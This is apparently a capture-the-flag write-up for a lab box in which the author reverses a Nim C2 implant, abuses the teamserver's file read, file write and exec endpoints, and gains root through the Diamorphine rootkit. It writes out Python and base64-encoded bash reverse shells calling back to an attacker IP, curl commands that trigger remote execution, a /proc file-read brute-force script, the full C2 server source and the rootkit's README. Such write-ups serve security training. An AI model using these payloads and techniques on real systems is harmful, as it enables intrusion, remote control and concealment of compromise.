We have reason to believe a corporate webserver has been compromised by RISOTTO GROUP. Cyber interdiction is authorized for this operation. Find their teamserver and take it down.
Enumeration
We already have a hint towards a domain in the boxes’ intro:
IMPORTANT: Make sure to add the IP address as takedown.thm.local to your /etc/hosts file.
We also have a PDF with some information on the malicious processes, C2 server and background info for the box. This will likely be reference back to multiple times. For now, we can start with a network scan and see what we find:
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
Checking the HTTP service, we see a website labelled Infinity, referenced in the PDF we’re given:
Checking the PDF, we’re already given a hint to our initial access:
The favicon.ico file we see in the page doesn’t look too useful as it’s corrupted:
We also have reference to another image file:
We don’t have a file path for this but we can bruteforce directories to find it:
We can safely assume this is in /images
:
We see shutterbug.jpg and a .bak file, we can download both. Checking file types, the .bak file is definitely suspicious:
We can get reversing using some simple tools like strings as this isn’t a stripped binary. We see a lot of references to “nim” in the strings:
Some quick googling and we can see this is nim-lang:
Nim is a general-purpose, multi-paradigm, statically typed, compiled systems programming language, designed and developed by a team around Andreas Rumpf.
Scrolling through this a bit further, we see a lot of commands and references to APIs:
@[*] Sleeping: 10000
@results
@[*] Result:
@Error
@data
@[x] Download args: download [agent source] [server destination]
[*] For example: download C:\Windows\Temp\foo.exe /home/kali/foo.exe
@http://takedown.thm.local/
@File written!
@file
@[x] Upload args: upload [server source] [agent destination]
[*] For example: upload foo.exe C:\Windows\Temp\foo.exe
@exec
@get_hostname
@pwd
@upload
@[*] Command to run:
@[*] Checking for command...
@[*] Hostname:
@[*] My UID is:
@http://takedown.thm.local/api/agents/register
@Authorization
@Host
@httpclient.nim(1144, 15) `false`
@Transfer-Encoding
@Content-Length
@httpclient.nim(1082, 13) `not url.contains({'\r', '\n'})` url shouldn't contain any newline characters
@uid
@application/json
@Content-Type
@Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
@random.nim(325, 10) `x.a <= x.b`
@hostname
@[*] Key matches!
@c.oberst
@whoami
@[*] Checking keyed username...
@[*] Drone ready!
@{prog}
Usage:
[options]
Options:
-h, --help
-v, --ver
@iterators.nim(240, 11) `len(a) == L` the length of the seq changed while iterating over it
@argparse_help
@--ver
@--help
@Can't obtain a value from a `none`
ShortCircuit on Unknown argumenthttp://takedown.thm.local/api/ag[*] Ready to rec from C2 server
[+] Downloaded
Could not read f
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04) 9.4.0
Interesting that we see references to Windows (User-agent) and files within a C:\ drive though this seems to a Linux machine. Moving on, we can download favicon.ico and see if we can analyse this. The biggest difference is this is a Windows executable:
Popping this open in Ghidra, we can confim this is a Windows binary:
Nim is a bit of a pain to analyse as it has a few “main” functions that call other main functions:
The main we’re interested in right now is NimMainInner:
We have a lot of interesting functions we can look into. echoBinSafe looks to just be output/verbosity for the program, interesting but strings already showed us this. We have an initial check function which takes a hostname found via the get_hostname function:
With in an if statement, we have this:
if (local_120 == 0) {
uVar3 = getDefaultSSL__pureZhttpclient_244();
puVar4 = newHttpHeaders__pureZhttpcore_114(0,puVar7,param_3,param_4);
puVar8 = (ulonglong *)0x0;
ppuVar5 = (ulonglong **)
newHttpClient__pureZhttpclient_742
((ulonglong *)&TM__V45tF8B8NBcxFcjfe7lhBw_44,5,uVar3,0,0xffffffffffffffff,
(longlong)puVar4);
ppuVar6 = (ulonglong **)0x0;
puVar4 = newHttpHeaders__pureZhttpcore_1618
((longlong)&TM__V45tF8B8NBcxFcjfe7lhBw_45,(ulonglong *)0x1,(ulonglong **)0x0,
puVar8);
asgnRef((longlong *)(ppuVar5 + 0xb),(longlong)puVar4);
uVar3 = 0x20;
nimZeroMem((undefined *)&local_148,0x20);
local_148 = copyString((longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_48,uVar3,ppuVar6,puVar8);
local_140 = percent___pureZjson_1796(puVar2,uVar3,ppuVar6,puVar8);
local_138 = copyString((longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_35,uVar3,ppuVar6,puVar8);
local_130 = percent___pureZjson_1796(param_1,uVar3,ppuVar6,puVar8);
uVar3 = 2;
puVar4 = percent___pureZjson_1825((longlong)&local_148,2,(ulonglong *)ppuVar6,(ulonglong)puVar8)
;
ppuVar6 = (ulonglong **)dollar___pureZjson_4502((char *)puVar4,uVar3,ppuVar6,(longlong)puVar8);
uVar3 = 2;
puVar7 = &TM__V45tF8B8NBcxFcjfe7lhBw_58;
request__main_52(ppuVar5,(ulonglong **)&TM__V45tF8B8NBcxFcjfe7lhBw_58,(ulonglong **)0x2,ppuVar6,
(longlong **)0x0,(ulonglong **)0x0);
popSafePoint();
if (local_120 != 0) {
reraiseException(ppuVar5,puVar7,uVar3,ppuVar6);
}
copyString((longlong *)puVar2,puVar7,uVar3,ppuVar6);
return;
}
We can see a HTTP client using a JSON payload. From what I can gather, this function creates a string, a HTTP client then a JSON object to be used in the request. The value for this object is stored at 0x4251a0
and looks to be a user-agent:
Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:102.0__Gecko_20100101_Firefox_102.0_z.5.x.2.l.8.y.5
z.5.x.2.l.8.y.5
definitely stands out but I have no idea what it’s for or what it means. We can do some dynamic analysis, please note this is malware (though created for the box). Please treat this as any other malware and run it in a VM/sandbox. This program won’t launch if not ran as c.oberst
. I created an account for this using adduser:
sudo adduser "c.oberst" --force-badname
I then used “su” to swap to the account and copied the binary to /tmp
for us to run. I also ammended the permission to make the file executable. We need to analyse the binary, for this I used pspy and wireshark. We know this has a verbose option so I ran the script with the -v tag. Checking wireshark, we see some HTTP requests:
Looking into these requests futher, we see that strange user-agent again:
Pspy was less interesting:
Foothold
We can try connect to the server using the user-agent we found and see if we get a different response on the /api
path:
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents
We’re returned info on the VM we just ran this on:
Using the user-agent, we can bruteforce directories:
gobuster dir --url=http://takedown.thm.local/api --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5"
We’re initially given an error about all invalid responses given a 200 status and a length off 1. We can modify our command to:
gobuster dir --url=http://takedown.thm.local/api --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" --exclude-length 1
We can see a couple of directories but these really aren’t too useful:
Thinking of potential vulns, I looked into check_for_commands
and command_handler_main
in the favicon.ico file. The command handler is essentially just a switch that looks for different commands. We have an upload function we can look into. Upload main is interesting:
longlong * upload__main_14(longlong *param_1,longlong *param_2,ulonglong *param_3,longlong *param_4)
{
ulonglong *puVar1;
ulonglong *puVar2;
ulonglong **ppuVar3;
longlong lVar4;
ulonglong **ppuVar5;
ulonglong **ppuVar6;
longlong lVar7;
longlong *plVar8;
ulonglong uVar9;
undefined8 uVar10;
undefined8 uVar11;
undefined *puVar12;
ulonglong *puVar13;
longlong *plVar14;
longlong *local_58;
longlong *local_50;
longlong *local_48;
ulonglong *local_40;
if ((param_1 == (longlong *)0x0) || (*param_1 != 3)) {
echoBinSafe((longlong)&TM__V45tF8B8NBcxFcjfe7lhBw_81,1,param_3,param_4);
plVar8 = (longlong *)0x0;
}
else {
puVar1 = (ulonglong *)param_1[3];
plVar8 = (longlong *)param_1[4];
uVar10 = 8;
puVar2 = param_3;
plVar14 = param_4;
nimZeroMem((undefined *)&local_58,8);
uVar9 = 0x24;
if (puVar1 != (ulonglong *)0x0) {
uVar9 = *puVar1 + 0x24;
}
local_58 = (longlong *)rawNewString(uVar9,uVar10,puVar2,plVar14);
appendString.part.0(local_58,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_83);
appendString(local_58,(longlong *)puVar1);
appendString.part.0(local_58,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_84);
uVar11 = 1;
echoBinSafe((longlong)&local_58,1,puVar2,plVar14);
uVar10 = getDefaultSSL__pureZhttpclient_244();
puVar2 = newHttpHeaders__pureZhttpcore_114(0,uVar11,puVar2,plVar14);
puVar13 = (ulonglong *)0x0;
ppuVar3 = (ulonglong **)
newHttpClient__pureZhttpclient_742
(param_3,5,uVar10,0,0xffffffffffffffff,(longlong)puVar2);
ppuVar6 = (ulonglong **)0x0;
puVar2 = newHttpHeaders__pureZhttpcore_1618
((longlong)&TM__V45tF8B8NBcxFcjfe7lhBw_45,(ulonglong *)0x1,(ulonglong **)0x0,
puVar13);
asgnRef((longlong *)(ppuVar3 + 0xb),(longlong)puVar2);
uVar10 = 0x10;
nimZeroMem((undefined *)&local_48,0x10);
local_48 = copyString((longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_85,uVar10,ppuVar6,puVar13);
local_40 = percent___pureZjson_1796(puVar1,uVar10,ppuVar6,puVar13);
puVar2 = percent___pureZjson_1825((longlong)&local_48,1,(ulonglong *)ppuVar6,(ulonglong)puVar13)
;
lVar7 = 0;
if (param_4 != (longlong *)0x0) {
lVar7 = *param_4;
}
lVar4 = 0;
if (param_2 != (longlong *)0x0) {
lVar4 = *param_2;
}
ppuVar5 = (ulonglong **)rawNewString(lVar7 + 0x13 + lVar4,lVar7,ppuVar6,puVar13);
appendString((longlong *)ppuVar5,param_4);
appendString.part.0((longlong *)ppuVar5,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_86);
appendString((longlong *)ppuVar5,param_2);
puVar12 = &TM__V45tF8B8NBcxFcjfe7lhBw_87;
appendString.part.0((longlong *)ppuVar5,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_87);
ppuVar6 = (ulonglong **)
dollar___pureZjson_4502((char *)puVar2,puVar12,ppuVar6,(longlong)puVar13);
puVar13 = (ulonglong *)0x2;
lVar7 = request__main_52(ppuVar3,ppuVar5,(ulonglong **)0x2,ppuVar6,(longlong **)0x0,
(ulonglong **)0x0);
puVar2 = (ulonglong *)body__pureZhttpclient_53(lVar7,(ulonglong *)ppuVar5,puVar13,ppuVar6);
writeFile__systemZio_562(plVar8,puVar2);
uVar10 = 8;
nimZeroMem((undefined *)&local_50,8);
uVar9 = 0x1e;
if (puVar1 != (ulonglong *)0x0) {
uVar9 = *puVar1 + 0x1e;
}
plVar8 = (longlong *)rawNewString(uVar9,uVar10,puVar13,ppuVar6);
appendString.part.0(plVar8,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_88);
appendString(plVar8,(longlong *)puVar1);
appendString.part.0(plVar8,(longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_84);
uVar10 = 1;
local_50 = plVar8;
echoBinSafe((longlong)&local_50,1,puVar13,plVar8);
plVar8 = copyString((longlong *)&TM__V45tF8B8NBcxFcjfe7lhBw_89,uVar10,puVar13,plVar8);
}
return plVar8;
}
Foothold
It seems we can tell the server what to write and where to write it on the client. This can be done via the agents end point. We can query files but need our agent UID, this can be found when we initially run the script, we can pass this to our query:
curl -X POST -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents/gwsm-sfzv-lnco-bbgd/upload -H "Content-Type: application/json" -d '{"file":"/etc/passwd"}'
We get the following:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
This really isn’t too useful, I couldn’t find a great deal of information manually searching. From previous boxes, I figured we use LFI to find useful processes via the /proc directory. I created a generic script for this:
import requests
uid = "dozd-iiab-zttn-arqt"
def main():
url = f"http://takedown.thm.local/api/agents/{uid}/upload"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8"}
for x in range (1000):
print(f"[+] Trying {x}")
response = requests.post(url, headers=headers, json={"file": f"/proc/{x}/cmdline"})
content = response.content
if "500 Internal Server Error" not in str(content):
print(content)
if __name__ == "__main__":
main()
We eventually find app.py containing some interesting info we can use:
import logging
import sys
import json
from threading import Thread
import re
import random
from os import system
import flask
from flask import request, abort
from flask_cors import CORS
HEADER_KEY = "z.5.x.2.l.8.y.5"
command_list = []
command_to_execute_next = ""
command_stack_reset_flag = False
agg_commands = open('aggressor.txt', 'r')
lines = agg_commands.readlines()
for line in lines:
command_list.append(line.strip())
available_commands = ['id', 'whoami', 'upload [Usage: upload server_source agent_dest]', 'download [usage download agent_source server_dest]', 'exec [Usage: exec command_to_run]', 'pwd', "get_hostname"]
live_agents = {}
app = flask.Flask(__name__)
app.secret_key = "000011112222333344445555666677778888"
logging.basicConfig(filename='teamserver.log', level=logging.DEBUG)
def is_user_agent_keyed(user_agent):
return HEADER_KEY in user_agent
def json_response(app, data):
try:
return app.response_class(
response=json.dumps(data),
status=200,
mimetype='application/json'
)
except Exception as e:
return str(e)
def is_command_reset_flag_set(command_stack_reset_flag):
return command_stack_reset_flag
@app.route("/")
def hello_world():
if is_user_agent_keyed(request.headers.get('User-Agent')):
return "."
else:
abort(404)
@app.route('/api/server', methods=['GET'])
def get_server_info():
if is_user_agent_keyed(request.headers.get('User-Agent')):
server_info = {"guid": "9e29fc5d-31dc-4fc2-9318-d17b2694d8aa", "name": "C2-SHRIKE-1"}
return json_response(app, server_info)
else:
abort(404)
@app.route('/api/agents', methods=['GET'])
def get_agent_info():
if is_user_agent_keyed(request.headers.get('User-Agent')):
if live_agents:
return str(live_agents), 200
else:
return "No live agents", 200
else:
abort(404)
@app.route(f'/api/agents/commands', methods=['GET'])
def get_agent_commands():
if is_user_agent_keyed(request.headers.get('User-Agent')):
return f"Available Commands: {available_commands}", 200
else:
abort(404)
@app.route('/api/agents/register', methods=['POST'])
def post_register_agent():
if is_user_agent_keyed(request.headers.get('User-Agent')):
if request.json:
try:
uid = request.json["uid"]
hostname = request.json["hostname"]
live_agents[uid] = hostname
msg = f"New agent UID: {uid} on host {hostname}"
app.logger.debug(msg)
print(msg)
return msg, 200
except Exception as e:
return str(e), 500
return "MESSAGE: {0}".format(request.is_json)
else:
abort(404)
@app.route('/api/agents/<uid>', methods=['GET'])
def get_agent(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
info = live_agents.get(uid)
return f"Agent info:\nUID: {uid} - Hostname: {info}", 200
else:
return "You're not a live agent", 401
else:
abort(404)
@app.route('/api/agents/<uid>/command', methods=['GET', 'POST'])
def get_agent_command(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.method == 'GET':
global command_to_execute_next
global command_stack_reset_flag
if command_to_execute_next:
command_reset_flag = is_command_reset_flag_set(command_stack_reset_flag)
if command_reset_flag:
command = random.choice(command_list)
return f"{command}", 200
else:
command = command_to_execute_next
command_stack_reset_flag = True
return f"{command}", 200
else:
command = random.choice(command_list)
return f"{command}", 200
if request.json:
result = request.json["results"]
app.logger.debug(result)
print(result)
return "OK", 200
else:
return "You're not a live agent", 401
else:
abort(404)
@app.route(f'/api/agents/<uid>/upload', methods=['POST'])
def post_upload(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.json:
file = request.json["file"]
f = open(file,"rb")
data = f.read()
f.close()
return data, 200
else:
return 401
else:
abort(404)
@app.route(f'/api/agents/<uid>/download', methods=['POST'])
def post_download(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.json:
file = request.json["file"]
if file in ["app.py", "aggressor.txt"]:
abort(404)
data = request.json["data"]
f = open(file ,"w")
f.write(data)
f.close()
return "OK", 200
else:
return 401
else:
abort(404)
@app.route(f'/api/server/exec', methods=['POST'])
def post_server_exec():
if is_user_agent_keyed(request.headers.get('User-Agent')):
if request.json:
cmd = request.json['cmd']
res = system(f"{cmd}")
return f"Command: {cmd} - Result code: {res}", 200
else:
return "Bad request", 400
else:
abort(404)
@app.route('/api/agents/<uid>/exec', methods=['GET', 'POST'])
def post_agent_exec(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.method == 'GET':
return f"EXEC: {uid}", 200
if request.method == 'POST':
if request.json:
global command_to_execute_next
command_to_execute_next = request.json["cmd"]
global command_stack_reset_flag
command_stack_reset_flag = False
msg = f"New commnad to execute: {command_to_execute_next}"
app.logger.debug(msg)
print(msg)
return msg, 200
else:
return "Bad request", 400
else:
abort(404)
else:
abort(404)
else:
abort(404)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
if is_user_agent_keyed(request.headers.get('User-Agent')):
return flask.render_template("index.html")
else:
abort(404)
CORS(app, resources={r"/*": {"origins": "*"}})
if __name__=="__main__":
app.run(host="0.0.0.0", port=8000)
Not necessarily an advantage but it’s interesting that only z.5.x.2.l.8.y.5
needs to be in the user-agent. Next is the /exec
and /download
end points. This takes two paraemtes, a file name and the data to write:
curl -X POST -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents/dozd-iiab-zttn-arqt/download -H "Content-Type: application/json" -d '{
"file": "rev.py",
"data": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.10.8\",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"
}'
We can then use /exec
to execute our reverse shell:
curl -X POST -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/server/exec -H "Content-Type: application/json" -d '{"cmd": "python3 rev.py"}'
Finally, we get a connection back to our listener:
User own
Now that the we’re in control of the C2 server, we can try move over to the already infected www-infinity server. We also have the source code for the C2 server and client making this a lot easier. Looking into the available agents via hostname, we can get the agent UID for www-infinity:
Next is to spawn a reverse shell, checking our available commands, we see we can use exec for this:
@app.route('/api/agents/<uid>/exec', methods=['GET', 'POST'])
def post_agent_exec(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.method == 'GET':
return f"EXEC: {uid}", 200
if request.method == 'POST':
if request.json:
global command_to_execute_next
command_to_execute_next = request.json["cmd"]
global command_stack_reset_flag
command_stack_reset_flag = False
msg = f"New commnad to execute: {command_to_execute_next}"
app.logger.debug(msg)
print(msg)
return msg, 200
else:
return "Bad request", 400
else:
abort(404)
else:
abort(404)
else:
abort(404)
We can use a base64 payload (revshells.com) and pass it to bash on the remote server:
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTAuOC80NDQ0IDA+JjE=" | base64 -d | bash
Then all we have to do it simply execute it:
curl -X POST -A "z.5.x.2.l.8.y.5" -H "Content-Type: application/json" -d '{ "cmd": "exec echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTAuOC80NDQ0IDA+JjE= | base64 -d | bash"}' http://takedown.thm.local/api/agents/ukyg-bkmb-cnuw-hjbd/exec
After making the request, we get a connection back to our netcat listener:
Root own
If we want we can grab the SSH get from our home directory to make future access easier. Digging around there really wasn’t much that stood out as useful. Checking /dev
however, /dev/shm
wasn’t empty:
This, similarly to /tmp
is cleared upon reboot meaning something was likely being manually put here. We also have reference to “diamorphine” with a README file:
Diamorphine
===========
Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x and ARM64
Features
--
- When loaded, the module starts invisible;
- Hide/unhide any process by sending a signal 31;
- Sending a signal 63(to any pid) makes the module become (in)visible;
- Sending a signal 64(to any pid) makes the given user become root;
- Files or directories starting with the MAGIC_PREFIX become invisible;
- Source: https://github.com/m0nad/Diamorphine
Install
--
Verify if the kernel is 2.6.x/3.x/4.x/5.x
```
uname -r
```
Clone the repository
```
git clone https://github.com/m0nad/Diamorphine
```
Enter the folder
```
cd Diamorphine
```
Compile
```
make
```
Load the module(as root)
```
insmod diamorphine.ko
```
Uninstall
--
The module starts invisible, to remove you need to make it visible
```
kill -63 0
```
Then remove the module(as root)
```
rmmod diamorphine
```
References
--
Wikipedia Rootkit
https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers
http://lwn.net/Kernel/LDD3/
LKM HACKING
https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memset's blog
http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM
http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX
https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference
http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules
https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: New Methods for Kernel 5.7+
https://xcellerator.github.io/posts/linux_rootkits_11/
Diamorphine is a LKM rootkit with a few interesting features, we can send different kill signals to PID 0 to use each feature. We also have the option to send signal -64 to instantly become root (of which we obviously want) but there are some other cool features too. In order to become root, we simply use:
We can now read /root/root.txt